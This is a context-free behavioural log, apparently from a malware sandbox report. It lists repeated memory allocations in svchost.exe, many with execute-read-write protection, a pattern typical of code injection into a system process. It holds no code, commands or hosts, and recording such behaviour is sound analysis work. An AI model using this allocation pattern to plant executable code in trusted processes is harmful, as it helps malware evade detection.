Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 188
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 9
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 17
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 13
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 17
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 10
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 20
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 9
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 13
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 11
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 23 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 24
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 11
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 29 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 38 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 7 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 53 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 30 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 27 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 34 True 2
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 2
Fn
Allocate svchost.exe address = 2097152, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 2162688, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 5 True 2
Fn
Allocate svchost.exe address = 2293760, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 132460 True 1
Fn
Allocate svchost.exe address = 2162688, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 6029312, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 3
Fn
Allocate svchost.exe address = 6094848, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 3
Fn
Allocate svchost.exe address = 6160384, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 3
Fn
Allocate svchost.exe address = 2293760, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 85256 True 1
Fn
Allocate svchost.exe address = 2424832, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 2293760, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 747 True 1
Fn
Allocate svchost.exe address = 2359296, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1150976 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 822784 True 1
Fn
Allocate svchost.exe address = 269262848, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 145920 True 1
Fn
Allocate svchost.exe address = 269410304, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 128664 True 1
Fn
Allocate svchost.exe address = 269541376, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 269545472, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 269549568, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 269553664, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 29696 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 7
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 12
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 57
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 23
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 16
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 11
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 17
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 20
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 16
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 13
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 12
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 28 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 27 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 29 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 23 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 38 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 12
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 7 True 8
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 33 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 3538944, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 4653056, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 4653056, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 747 True 1
Fn
Allocate svchost.exe address = 5308416, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 5373952, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 5439488, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 5505024, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 32768 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 9216 True 1
Fn
Allocate svchost.exe address = 268451840, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 7168 True 1
Fn
Allocate svchost.exe address = 268460032, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1036 True 1
Fn
Allocate svchost.exe address = 268464128, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 3
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 12
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 6
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 50
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 1
Fn
Allocate svchost.exe address = 458752, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 2424832, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 747 True 1
Fn
Allocate svchost.exe address = 2490368, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 4718592, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 4784128, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 4849664, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 32768 True 1
Fn
Allocate svchost.exe address = 268435456, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 268439552, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 11264 True 1
Fn
Allocate svchost.exe address = 268451840, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 4608 True 1
Fn
Allocate svchost.exe address = 268460032, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1036 True 1
Fn
Allocate svchost.exe address = 268464128, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 3
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 7
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 5
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 36
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 21 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 25 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 1245184, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 1310720, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 917504, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 1310720, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 747 True 1
Fn
Allocate svchost.exe address = 1376256, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 1703936, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 1769472, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 1835008, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 655360, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 1825832960, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 36864 True 1
Fn
Allocate svchost.exe address = 1825832960, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1024 True 1
Fn
Allocate svchost.exe address = 1825837056, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 5632 True 1
Fn
Allocate svchost.exe address = 1825845248, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825849344, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825853440, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 36 True 1
Fn
Allocate svchost.exe address = 1825857536, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 1825861632, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 1536 True 1
Fn
Allocate svchost.exe address = 1825865728, allocation_type = MEM_COMMIT, protection = PAGE_READWRITE, size = 512 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 26 True 3
Fn
Allocate svchost.exe address = 720896, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 19 True 4
Fn
Allocate svchost.exe address = 720896, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 37
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 15 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 14 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 12 True 6
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 10 True 5
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 13 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 17 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 11 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 9 True 3
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 6 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 20 True 4
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 16 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 23 True 2
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 18 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 22 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 24 True 1
Fn
Allocate svchost.exe address = 720896, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 4 True 2
Fn
Allocate svchost.exe address = 3407872, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 1024 True 2
Fn
Allocate svchost.exe address = 3473408, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 388 True 1
Fn
Allocate svchost.exe address = 3538944, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 40 True 1
Fn
Allocate svchost.exe address = 131072, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 3473408, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 128 True 1
Fn
Allocate svchost.exe address = 3538944, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 8 True 1
Fn
Allocate svchost.exe address = 3604480, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 44 True 1
Fn
Allocate svchost.exe address = 327680, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 367 True 1
Fn
Allocate svchost.exe address = 393216, allocation_type = MEM_COMMIT, MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 112 True 1
Fn
Allocate svchost.exe address = 1825832960, allocation_type = MEM_RESERVE, protection = PAGE_EXECUTE_READWRITE, size = 77824 True 1
Fn
